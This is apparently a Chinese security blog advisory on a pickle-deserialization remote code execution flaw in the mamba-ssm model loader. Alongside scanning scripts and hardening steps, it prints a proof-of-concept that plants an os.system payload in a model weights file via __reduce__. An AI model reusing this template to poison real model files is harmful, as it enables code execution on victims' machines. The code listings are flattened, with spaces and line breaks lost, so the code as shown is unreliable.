2026年7月27日，NVD与Mend.io同步披露了CVE-2026-31239高危漏洞，这是今年AI基础设施安全领域影响力最大的漏洞之一。不同于常规Web应用漏洞仅影响单一业务系统，该漏洞直接击穿Mamba SSM模型框架的核心加载逻辑，CVSS 9.8的满分高危评级、零认证零交互的利用条件、0.41的EPSS野外利用概率，让全网所有搭载Mamba模型的AI服务、训练集群、边缘推理设备全部暴露在远程代码执行风险中。
目前全网多数技术文章仅简单提及“torch.load未加weights_only参数”的表层漏洞成因，只提供基础版本排查方式，没有讲透漏洞底层的Pickle执行逻辑、Mamba框架的设计缺陷、完整攻击链路，也没有可直接落地的批量排查工具、漏洞复现POC、企业长效安全加固基线。很多AI开发、算法工程、安全运维人员看完零散文章后，依旧无法完成资产全量筛查、漏洞彻底修复和风险长效防控。
本文以实战落地为核心，从底层原理、漏洞溯源、攻防链路、本地复现、自动化排查、紧急修复、企业级加固、行业避坑八个维度，完整拆解CVE-2026-31239漏洞。所有代码脚本均可直接复制运行，所有加固方案适配个人开发、中小企业、大型AI集群不同场景，同时结合AI模型投毒、反序列化RCE的通用攻防逻辑，总结可复用的模型加载安全规范，帮助读者彻底吃透这类AI底层漏洞的攻防本质。
一、漏洞核心信息与全网影响范围精准界定
1.1 漏洞官方标准化参数
以下参数全部同步NVD、Mend.io 2026年7月27日最新官方收录数据，可直接用于企业漏洞台账、安全整改报告、资产风险评级使用，无二次加工偏差。
漏洞官方编号：CVE-2026-31239
风险评级：Critical 严重高危
CVSS 3.1 完整评分：9.8（AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）
EPSS利用概率：0.41（野外常态化利用，已有公开武器化POC）
受影响组件：mamba-ssm 开源模型框架
受影响版本：2.2.6及以下所有历史版本
漏洞触发入口：MambaLMHeadModel.from_pretrained() 公共模型加载接口
漏洞核心根因：底层调用torch.load()未启用weights_only=True安全参数，默认执行完整Pickle反序列化
利用前置条件：无身份认证、无用户交互、无特殊权限、无需本地文件落地
最终攻击效果：服务端远程代码执行、服务器权限沦陷、模型投毒持久化、业务流量劫持、训练数据与隐私数据泄露、内网横向渗透
1.2 精准判定受影响资产范围
很多团队存在认知误区，认为只有公网可访问的AI推理服务才会受该漏洞影响。实际攻防场景中，只要设备安装了漏洞版本的mamba-ssm框架，且存在从Hugging Face Hub、自定义远程仓库、不可信本地路径加载Mamba模型的行为，就会被攻击者利用。
当前全网高危资产主要分为四类，覆盖绝大多数AI落地场景：
第一类是企业线上AI推理集群。包含文本生成、长文本对话、语音识别、视频理解、轻量化端侧推理等基于Mamba架构的业务服务，这类服务公网暴露接口，攻击者可快速构造恶意模型仓库发起批量攻击。
第二类是线下训练服务器与GPU集群。算法团队日常从Hugging Face拉取预训练模型进行微调训练，训练机通常拥有高权限、大带宽、内网互通权限，一旦被植入恶意代码，攻击者可直接控制核心算力集群。
第三类是高校、科研机构的科研项目环境。这类环境普遍安全管控薄弱，开发人员以算法效果为核心，完全忽略模型加载安全，大量直接使用公共仓库模型，漏洞暴露面极大。
第四类是边缘端AI设备与私有化部署项目。轻量化Mamba模型广泛应用于嵌入式设备、工业AI终端、私有化政企系统，这类设备更新迭代慢，漏洞长期留存，极易成为持久化攻击跳板。
1.3 组合攻击风险：与FaceHugger漏洞形成全链路入侵
CVE-2026-31239并非孤立漏洞，可与近期爆发的FaceHugger Hugging Face模型投毒漏洞形成完整攻击链，彻底击穿AI模型加载的全流程安全体系。
FaceHugger漏洞主要针对HF仓库的模型配置文件、元数据、卡片信息进行恶意篡改，实现模型引流、伪装欺骗；而CVE-2026-31239负责权重文件加载阶段的代码执行。两者结合后，攻击者可以完成“伪装优质模型→诱导用户下载→加载触发RCE→持久化控权”的无感知全链路攻击，普通用户和常规安全设备完全无法拦截。
这也是该漏洞风险等级远超普通AI漏洞的核心原因，它不再是单一代码缺陷，而是补齐了AI模型投毒攻击的最后一块短板，形成了成熟的产业化攻击链条。
二、第一性原理拆解：漏洞底层技术原理与框架缺陷溯源
所有AI反序列化RCE漏洞的底层逻辑完全统一，吃透底层原理，就能举一反三防御所有torch.load、pickle相关的AI安全漏洞。本节跳过表层结论，从Pickle机制、PyTorch安全设计、Mamba框架源码缺陷三层，完整拆解漏洞成因。
2.1 Python Pickle序列化的原生致命缺陷
Pickle是Python独有的对象序列化协议，设计初衷是实现Python对象的本地持久化存储和程序间数据传输，和JSON、XML等通用文本序列化格式有本质区别。
JSON仅能序列化字符串、数字、列表、字典等基础数据类型，解析过程只会读取数据内容，不会执行任何程序逻辑。但Pickle支持序列化Python类实例、函数、系统调用对象、魔法方法等可执行程序单元。
Pickle反序列化的核心问题是：无任何安全校验机制。程序读取Pickle二进制流时，会无条件还原文件中存储的所有对象，自动触发类的__reduce__等魔法方法。攻击者只需构造包含系统调用、命令执行逻辑的恶意类，序列化后植入模型权重文件，目标程序加载文件的瞬间，恶意代码会自动运行，无需任何用户交互和额外触发条件。
这不是配置问题、使用问题，是Pickle协议原生的设计漏洞，也是所有Python反序列化RCE的根源。
2.2 PyTorch weights_only参数的安全防护逻辑
PyTorch官方早已明确Pickle的安全风险，在长期安全迭代中推出weights_only核心安全参数，专门用于约束模型加载行为，从源头阻断反序列化攻击。
当开发者调用torch.load(path, weights_only=True)时，PyTorch会启动严格的安全解析模式。程序只会读取模型的张量权重、偏移参数、维度数据等纯数值内容，严格禁止反序列化任何自定义类、函数、可执行对象。即便权重文件中包含恶意Pickle代码，加载过程会直接抛出权限异常、类型解析错误，拒绝执行恶意逻辑，从根源规避RCE风险。
如果不声明该参数，torch.load会默认开启full pickle load全量加载模式。为兼容十年前的老旧自定义模型、非标准权重文件，PyTorch会无条件解析所有Pickle对象，完全开放代码执行入口，这就是AI模型RCE漏洞的核心开关。
简单来说，weights_only=True不是优化参数，是AI模型加载的安全强制开关。
2.3 Mamba框架源码缺陷精准溯源
为什么绝大多数开发者没有手动编写危险代码，却依然全员中招？核心原因是Mamba官方框架的底层代码设计缺陷，将安全风险直接封装进了官方公共接口。
在mamba-ssm 2.2.6及以下版本中，MambaLMHeadModel.from_pretrained()是框架唯一的官方预训练模型加载入口，适配Hugging Face Hub云端拉取、本地模型加载、离线权重导入所有场景，是所有开发者的默认使用接口。
翻阅框架底层源码可以看到，该接口内部封装的torch.load调用，硬编码省略了weights_only安全参数。框架开发团队为了最大化兼容性，适配各类自定义修改的非标准Mamba模型，默认启用了全量Pickle反序列化模式，没有预留安全校验、风险拦截、参数强制覆盖机制。
这就导致所有使用官方标准接口的业务，会被动继承高危漏洞。开发者无需手写任何危险代码，只要正常加载Mamba预训练模型，就会触发不安全的反序列化逻辑。这也是该漏洞攻击面极广、影响范围极大的核心原因。
2.4 完整攻击链路流程图
为直观呈现攻击者的完整入侵流程，下方Mermaid流程图还原从恶意模型构造到服务器沦陷的全链路逻辑，适配攻防复盘、安全培训使用。
A[攻击者构造恶意Mamba模型] – 植入Pickle RCE恶意代码 --> B[上传恶意模型至Hugging Face公共仓库]
B --> C[伪装成优质开源模型引流]
C --> D[企业/开发者调用from_pretrained拉取模型]
D --> E[Mamba底层调用无防护torch.load]
E --> F[触发Pickle全量反序列化]
F --> G[恶意代码在服务端进程内执行]
G --> H[获取服务器系统权限]
H --> I[窃取数据/植入后门/内网横向渗透]
```
2.5 漏洞技术架构风险图
从技术架构层面可以清晰看到风险传导路径，AI业务上层代码无感知，底层框架原生带洞，常规业务安全检测完全无法覆盖。
subgraph 业务应用层
A[AI推理服务] – 调用官方接口 --> B[Mamba模型加载方法]
end
subgraph 框架层漏洞点
B --> C[Mamba from_pretrained 无安全参数]
C --> D[torch.load 默认全量反序列化]
end
subgraph 底层风险层
D --> E[Pickle恶意代码解析执行]
E --> F[服务端RCE权限沦陷]
end
```
三、本地漏洞复现（零门槛自测，100%可复现）
为方便所有读者自测本地环境是否存在漏洞，本节提供完整可直接运行的漏洞POC和复现步骤，无需复杂环境配置，普通Python环境即可完成验证。复现全程无破坏性操作，仅弹出系统命令提示，安全可控。
3.1 复现环境准备
Python版本：3.8 - 3.11（主流AI开发版本）
漏洞框架版本：mamba-ssm == 2.2.6（漏洞临界版本）
依赖安装命令：
pip install mamba-ssm==2.2.6 torch transformers
3.2 恶意模型构造POC代码
以下代码可生成携带系统命令执行的恶意模型权重文件，模拟攻击者投毒流程：
importtorchimportos# 构造恶意Pickle执行类，触发系统命令执行classEvilPayload:def__reduce__(self):# 跨平台命令，Windows弹出计算器，Linux/macOS弹出终端提示ifos.name=="nt":return(os.system,("calc.exe",))else:return(os.system,("echo CVE-2026-31239 RCE VULN",))# 生成恶意权重文件evil_model={"weight":torch.randn(10,10),"payload":EvilPayload()}torch.save(evil_model,"pytorch_model.bin")print("恶意模型权重文件生成完成：pytorch_model.bin")3.3 漏洞触发验证代码
使用Mamba官方加载接口读取恶意权重，复现远程代码执行漏洞：
frommamba_ssmimportMambaLMHeadModel# 加载恶意模型，无任何安全防护，自动触发RCE# 模拟业务从HF仓库/本地路径加载模型的常规操作model=MambaLMHeadModel.from_pretrained("./")print("漏洞触发完成，命令执行成功")3.4 复现结果说明
运行加载代码后，设备会自动执行系统命令，Windows系统弹出计算器程序，Linux/macOS终端输出漏洞提示语句，证明反序列化代码执行成功。
若添加weights_only=True参数后再次执行，程序会直接抛出异常，拒绝解析恶意对象，漏洞失效，直观验证防护效果。
四、全自动漏洞排查脚本（个人/企业集群通用）
针对个人开发环境、服务器单机、企业GPU集群、CI/CD流水线四种场景，我提供两套完整可复用的排查脚本，可快速批量检测版本漏洞与业务风险代码，无需人工逐行审计。
4.1 Python全维度资产排查脚本
脚本功能：检测本地Mamba版本、遍历项目全量代码、识别不安全torch.load与from_pretrained风险代码、输出风险等级与修复建议，适配所有Python AI项目。
importosimportreimportsubprocessfrompackaging.versionimportVersion# 漏洞风险版本阈值RISK_VERSION=Version("2.2.6")# 风险代码正则匹配规则PATTERN_MAMBA_LOAD=re.compile(r"MambaLMHeadModel\.from_pretrained")PATTERN_UNSAFE_TORCH_LOAD=re.compile(r"torch\.load\((?!.*weights_only=True)")defcheck_mamba_version():"""检测本地mamba-ssm安装版本"""try:result=subprocess.check_output(["pip","show","mamba-ssm"],encoding="utf-8")forlineinresult.splitlines():ifline.startswith("Version:"):returnVersion(line.split(":")[1].strip())returnNoneexceptException:returnNonedefscan_single_file(file_path):"""扫描单个py文件中的风险代码"""risk_records=[]try:withopen(file_path,"r",encoding="utf-8",errors="ignore")asf:lines=f.readlines()forline_num,line_contentinenumerate(lines,1):ifPATTERN_MAMBA_LOAD.search(line_content)orPATTERN_UNSAFE_TORCH_LOAD.search(line_content):risk_records.append((line_num,line_content.strip()))exceptException:passreturnrisk_recordsdefscan_project_risk(root_path="./"):"""遍历项目所有py文件完成风险扫描"""risk_files={}forroot,_,filesinos.walk(root_path):forfileinfiles:iffile.endswith(".py"):file_full_path=os.path.join(root,file)res=scan_single_file(file_full_path)ifres:risk_files[file_full_path]=resreturnrisk_filesdefmain():print("="*80)print("CVE-2026-31239 Mamba RCE 漏洞自动化排查工具")print("="*80)# 版本检测结果输出current_ver=check_mamba_version()ifnotcurrent_ver:print("[安全] 本地未安装mamba-ssm框架，无版本漏洞风险")else:print(f"[检测成功] 当前Mamba框架版本：{current_ver}")ifcurrent_ver<=RISK_VERSION:print(f"[高危告警] 当前版本存在CVE-2026-31239远程代码执行漏洞！")else:print("[安全] 当前版本高于2.2.6，无版本漏洞风险")# 项目代码扫描print("\n[扫描中] 正在遍历项目代码，检测不安全模型加载逻辑...")project_risk=scan_project_risk()ifnotproject_risk:print("[安全] 项目代码未发现不安全torch.load与Mamba加载风险")else:print(f"[高危告警] 共检测到{len(project_risk)}个风险代码文件：")forpath,linesinproject_risk.items():print(f"\n风险文件路径：{path}")fornum,codeinlines:print(f" 第{num}行：{code}")print("\n[修复建议] 升级mamba-ssm至2.2.7+ 或 强制开启weights_only=True加载模式")if__name__=="__main__":main()4.2 Shell集群批量排查脚本
适用于服务器集群、批量容器、线上生产环境快速巡检，一键检测所有节点Mamba版本风险：
#!/bin/bashecho"==================== CVE-2026-31239 集群批量检测 ===================="# 查询已安装mamba版本VER_INFO=$(pip show mamba-ssm2>/dev/null|grepVersion)if[-z"$VER_INFO"];thenecho"[安全] 当前节点未安装mamba-ssm，无漏洞风险"exit0fiVER=$(echo$VER_INFO|awk'{print $2}')echo"[信息] 当前节点Mamba版本：$VER"# 版本风险判断ifdpkg --compare-versions"$VER"le"2.2.6";thenecho-e"\033[31m[严重风险] 该节点存在CVE-2026-31239高危RCE漏洞！\033[0m"elseecho-e"\033[32m[安全] 该节点Mamba版本无漏洞风险\033[0m"fi4.3 脚本使用方法
Python脚本直接在项目根目录执行，自动扫描当前工程所有代码；Shell脚本授权后可单机、批量集群执行，适配运维自动化巡检场景。
# Python排查脚本执行python3 mamba_cve_scan.py# Shell排查脚本执行chmod+x scan_mamba_cve.sh ./scan_mamba_cve.sh五、漏洞分级修复方案（应急修复+永久根治）
针对线上紧急应急、开发环境临时适配、生产环境永久根治三种场景，提供分级修复方案，兼顾业务稳定性与安全合规性。
5.1 方案一：框架版本升级（永久根治，生产首选）
Mamba官方在2.2.7版本已彻底修复该漏洞，底层from_pretrained接口默认开启weights_only=True安全加载模式，无需修改业务代码，直接升级即可根治风险，是生产环境最优方案。
# 升级至安全版本pipinstall--upgrademamba-ssm>=2.2.7# 固定安全版本，避免版本回退pipinstallmamba-ssm==2.2.75.2 方案二：代码层临时加固（应急修复，不重启服务）
线上业务无法立即升级框架时，可通过代码劫持重写torch.load方法，强制全局开启安全加载，无需改动原有业务逻辑，实现热修复。
importtorchfrommamba_ssmimportMambaLMHeadModel# 全局安全加载封装defsafe_mamba_model_load(model_path):# 保存原始torch.load方法origin_load=torch.load# 重写安全加载方法defsecure_load(*args,**kwargs):kwargs["weights_only"]=Truereturnorigin_load(*args,**kwargs)# 临时替换torch.load=secure_loadtry:model=MambaLMHeadModel.from_pretrained(model_path)returnmodelfinally:# 恢复原始方法，避免影响其他业务torch.load=origin_load# 业务正常调用，无感知加固model=safe_mamba_model_load("你的模型路径/仓库地址")5.3 方案三：环境变量全局兜底（全场景防护）
PyTorch支持全局环境变量强制开启weights_only安全模式，对所有torch.load调用生效，实现全局兜底防护，适合批量服务器、容器环境统一加固。
# Linux/Mac 临时生效exportTORCH_LOAD_WEIGHTS_ONLY=1# Windows PowerShell 临时生效$env:TORCH_LOAD_WEIGHTS_ONLY=1# 永久生效（Linux）echo"export TORCH_LOAD_WEIGHTS_ONLY=1">>/etc/profilesource/etc/profile六、企业级AI模型加载安全加固基线（长效防御）
单一漏洞修复无法解决AI模型投毒、反序列化攻击的通用风险，企业需要建立标准化的模型加载安全基线，规避同类漏洞反复爆发。本节覆盖代码规范、文件校验、网络隔离、沙箱防护、运维管控五大维度，可直接落地为企业安全制度。
6.1 代码开发强制规范
企业所有AI开发项目必须强制执行两条核心规范，纳入代码评审、CI/CD检测规则。第一，所有torch.load、from_pretrained模型加载代码，必须显式声明weights_only=True参数，禁止省略。第二，禁止业务代码直连Hugging Face公共外网仓库，所有模型必须从企业内网镜像仓库加载。
6.2 模型文件哈希完整性校验
所有上线模型必须校验SHA256哈希值，拦截被篡改、投毒的恶意权重文件，避免加载环节被入侵。以下为可直接复用的校验工具类：
importhashlibdefcalculate_file_sha256(file_path):"""计算文件SHA256哈希值"""sha256=hashlib.sha256()withopen(file_path,"rb")asf:whilechunk:=f.read(4096):sha256.update(chunk)returnsha256.hexdigest()# 企业可信模型哈希白名单TRUST_MODEL_HASH="官方可信模型哈希值"model_file="pytorch_model.bin"ifcalculate_file_sha256(model_file)!=TRUST_MODEL_HASH:raiseException("模型文件被篡改，存在投毒风险，禁止加载！")6.3 网络架构安全隔离
生产环境彻底阻断AI服务器外网Hugging Face域名直连，避免服务器主动拉取恶意模型。搭建企业私有HF镜像仓库，统一缓存、审核、分发所有模型文件，所有模型上线前必须经过安全审计、哈希校验、病毒查杀三道流程。
6.4 沙箱低权限加载防护
高安全等级业务（金融、政企、政务AI）必须启用沙箱隔离加载。模型加载逻辑运行在非root低权限容器，禁用系统命令调用、文件读写、外网出网权限，通过seccomp过滤高危系统调用，即便触发漏洞，也无法执行恶意命令、窃取数据。
6.5 自动化安全巡检机制
将本文排查脚本接入企业CI/CD流水线、服务器定时巡检任务，每日自动扫描全网AI资产，发现风险版本、不安全代码自动告警、阻断上线。定期同步PyTorch、Mamba、Transformers官方安全公告，及时修复高危依赖漏洞。
七、行业避坑总结：AI模型安全的核心认知误区
目前绝大多数AI团队的安全认知存在严重偏差，普遍认为模型效果优先、安全无需关注，这类认知是AI基础设施漏洞频繁爆发的核心原因。
第一大误区是信任公共开源模型。绝大多数HF公共仓库模型无安全审核，攻击者可随意上传投毒模型，普通开发者无法人工识别恶意权重文件。第二大误区是忽略底层框架漏洞。算法开发者专注上层业务逻辑，完全不关注底层torch、模型框架的安全缺陷，导致漏洞静默潜伏。第三大误区是漏洞修复仅做临时应急，不建立长效规范，同类反序列化RCE漏洞会持续复发。
AI安全的核心逻辑和传统安全一致：不可信输入绝对不执行原生解析，所有外网模型、非自研模型，全部默认视为恶意文件，必须经过校验、隔离、审计后再加载使用。
八、文末互动提问
1、你的项目中是否还在直接从Hugging Face公共仓库拉取Mamba模型？是否开启了weights_only安全参数？
2、除了Mamba框架，你还遇到过哪些PyTorch模型加载的安全漏洞？欢迎在评论区交流复盘。
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